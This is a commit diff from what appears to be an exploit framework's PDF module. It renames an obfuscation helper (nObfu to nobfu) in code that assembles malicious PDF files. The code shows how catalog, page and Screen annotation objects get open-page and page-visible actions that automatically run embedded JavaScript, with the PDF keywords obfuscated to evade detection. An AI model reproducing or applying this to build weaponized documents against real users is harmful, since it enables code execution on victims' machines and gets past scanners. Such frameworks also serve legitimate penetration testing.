I missed nobfu
parent
2ed05869b8
commit
609c490b3c
|
@ -186,7 +186,7 @@ module Exploit::PDF
|
|||
end
|
||||
|
||||
def trailer(root_obj)
|
||||
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
|
||||
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
|
||||
ret
|
||||
end
|
||||
|
||||
|
@ -277,10 +277,10 @@ module Exploit::PDF
|
|||
@pdf = ''
|
||||
|
||||
@pdf << header
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[") << io_ref(4) << nObfu("]/Count 1>>"))
|
||||
add_object(4, nObfu("<</Type/Page/Parent ") << io_ref(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << io_ref(5) << nObfu("/S /JavaScript >>>>>>"))
|
||||
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
|
||||
compressed = js
|
||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||
stream << "stream" << eol
|
||||
|
@ -301,10 +301,10 @@ module Exploit::PDF
|
|||
|
||||
@pdf << header
|
||||
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[") << io_ref(4) << nObfu("]/Count 1>>"))
|
||||
add_object(4, nObfu("<</Type/Page/Parent ") << io_ref(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << io_ref(5) << nObfu("/S /JavaScript >>>>>>"))
|
||||
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
|
||||
compressed = js
|
||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||
stream << "stream" << eol
|
||||
|
@ -324,11 +324,11 @@ module Exploit::PDF
|
|||
|
||||
@pdf << header
|
||||
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << io_ref(2) << nObfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[") << io_ref(4) << nObfu("]/Count 1>>"))
|
||||
add_object(4, nObfu("<</Type/Page/Parent ") << io_ref(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << io_ref(5) << nObfu("]>>"))
|
||||
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nObfu("/S /JavaScript >>>>>>"))
|
||||
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
|
||||
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
|
||||
compressed = js
|
||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||
stream << "stream" << eol
|
||||
|
|
Loading…
Reference in New Issue